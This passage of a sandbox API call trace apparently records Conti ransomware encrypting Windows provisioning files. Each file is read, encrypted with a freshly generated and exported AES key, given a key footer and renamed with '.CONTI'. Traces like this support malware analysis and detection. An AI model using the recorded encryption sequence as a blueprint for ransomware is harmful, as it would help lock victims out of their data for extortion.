	[0112.263] WriteFile (in: hFile=0x3fc, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x1d0, lpOverlapped=0x0) returned 1
	[0112.263] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.263] WriteFile (in: hFile=0x3fc, lpBuffer=0x18149c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x18149c0*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0112.264] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.264] CloseHandle (hObject=0x3fc) returned 1
	[0112.264] GetProcessHeap () returned 0x1720000
	[0112.264] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.264] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml"
	[0112.264] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml.CONTI"
	[0112.264] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\511__cellular_persimsettings_$(__iccid)_simblocklist.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\511__cellular_persimsettings_$(__iccid)_simblocklist.provxml.conti")) returned 1
	[0112.265] GetProcessHeap () returned 0x1720000
	[0112.265] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.265] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0112.265] GetProcessHeap () returned 0x1720000
	[0112.265] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e0aa8 | out: hHeap=0x1720000) returned 1
	[0112.265] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0112.265] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x1811798 | out: phKey=0x1811798*=0x17c83b0) returned 1
	[0112.265] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x181179c, pdwDataLen=0x50ff91c | out: pbData=0x181179c*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0112.265] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\514__connections_cellular_telefonica (uruguay)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.266] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\514__connections_cellular_telefonica (uruguay)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0112.266] GetLastError () returned 0x0
	[0112.266] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=727) returned 1
	[0112.266] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d7
	[0112.266] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.266] SetEndOfFile (hFile=0x3fc) returned 1
	[0112.266] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.266] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.266] WriteFile (in: hFile=0x3fc, lpBuffer=0x181179c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x181179c*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0112.272] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.272] ReadFile (in: hFile=0x3fc, lpBuffer=0xee90000, nNumberOfBytesToRead=0x2d7, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x2d7, lpOverlapped=0x0) returned 1
	[0112.272] CryptEncrypt (in: hKey=0x17c83b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2d7, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2e0) returned 1
	[0112.272] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.272] WriteFile (in: hFile=0x3fc, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x2e0, lpOverlapped=0x0) returned 1
	[0112.272] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.273] WriteFile (in: hFile=0x3fc, lpBuffer=0x1811790*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x1811790*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0112.273] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.273] CloseHandle (hObject=0x3fc) returned 1
	[0112.273] GetProcessHeap () returned 0x1720000
	[0112.273] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.273] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml"
	[0112.273] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.273] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\514__connections_cellular_telefonica (uruguay)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\514__connections_cellular_telefonica (uruguay)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.274] GetProcessHeap () returned 0x1720000
	[0112.274] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.274] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0112.274] GetProcessHeap () returned 0x1720000
	[0112.274] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180b7d0 | out: hHeap=0x1720000) returned 1
	[0112.274] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0112.274] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x18119e0 | out: phKey=0x18119e0*=0x17c84f0) returned 1
	[0112.274] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x18119e4, pdwDataLen=0x50ff91c | out: pbData=0x18119e4*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0112.275] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\516__connections_cellular_uzdunrobita (uzbekistan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.276] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\516__connections_cellular_uzdunrobita (uzbekistan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0112.277] GetLastError () returned 0x0
	[0112.277] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=715) returned 1
	[0112.277] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cb
	[0112.277] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.277] SetEndOfFile (hFile=0x3fc) returned 1
	[0112.277] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.277] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.277] WriteFile (in: hFile=0x3fc, lpBuffer=0x18119e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x18119e4*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0112.284] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.284] ReadFile (in: hFile=0x3fc, lpBuffer=0xee90000, nNumberOfBytesToRead=0x2cb, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x2cb, lpOverlapped=0x0) returned 1
	[0112.284] CryptEncrypt (in: hKey=0x17c84f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2cb, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2d0) returned 1
	[0112.284] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.284] WriteFile (in: hFile=0x3fc, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x2d0, lpOverlapped=0x0) returned 1
	[0112.284] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.284] WriteFile (in: hFile=0x3fc, lpBuffer=0x18119d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x18119d8*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0112.284] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.284] CloseHandle (hObject=0x3fc) returned 1
	[0112.284] GetProcessHeap () returned 0x1720000
	[0112.284] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.284] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml"
	[0112.284] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.285] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\516__connections_cellular_uzdunrobita (uzbekistan)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\516__connections_cellular_uzdunrobita (uzbekistan)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.285] GetProcessHeap () returned 0x1720000
	[0112.285] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.285] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0112.285] GetProcessHeap () returned 0x1720000
	[0112.285] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180cbf8 | out: hHeap=0x1720000) returned 1
	[0112.285] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0112.285] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x1813e60 | out: phKey=0x1813e60*=0x17c84f0) returned 1
	[0112.285] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x1813e64, pdwDataLen=0x50ff91c | out: pbData=0x1813e64*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0112.286] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\518__connections_cellular_viettel (vietnam)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.286] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\518__connections_cellular_viettel (vietnam)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0112.286] GetLastError () returned 0x0
	[0112.286] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=645) returned 1
	[0112.286] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x285
	[0112.287] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.287] SetEndOfFile (hFile=0x3fc) returned 1
	[0112.288] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.288] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.288] WriteFile (in: hFile=0x3fc, lpBuffer=0x1813e64*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x1813e64*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0112.813] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.813] ReadFile (in: hFile=0x3fc, lpBuffer=0xee90000, nNumberOfBytesToRead=0x285, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x285, lpOverlapped=0x0) returned 1
	[0112.813] CryptEncrypt (in: hKey=0x17c84f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x285, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x290) returned 1
	[0112.813] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.813] WriteFile (in: hFile=0x3fc, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x290, lpOverlapped=0x0) returned 1
	[0112.813] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.813] WriteFile (in: hFile=0x3fc, lpBuffer=0x1813e58*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x1813e58*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0112.813] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.813] CloseHandle (hObject=0x3fc) returned 1
	[0112.823] GetProcessHeap () returned 0x1720000
	[0112.823] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.626] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml"
	[0113.626] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.626] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\518__connections_cellular_viettel (vietnam)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\518__connections_cellular_viettel (vietnam)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.626] GetProcessHeap () returned 0x1720000
	[0113.626] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.626] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0113.627] GetProcessHeap () returned 0x1720000
	[0113.627] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180abd8 | out: hHeap=0x1720000) returned 1
	[0113.627] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0113.627] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x65c2e38 | out: phKey=0x65c2e38*=0x17c8370) returned 1
	[0113.627] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c2e3c, pdwDataLen=0x50ff91c | out: pbData=0x65c2e3c*, pdwDataLen=0x50ff91c*=0x20c) returned 1
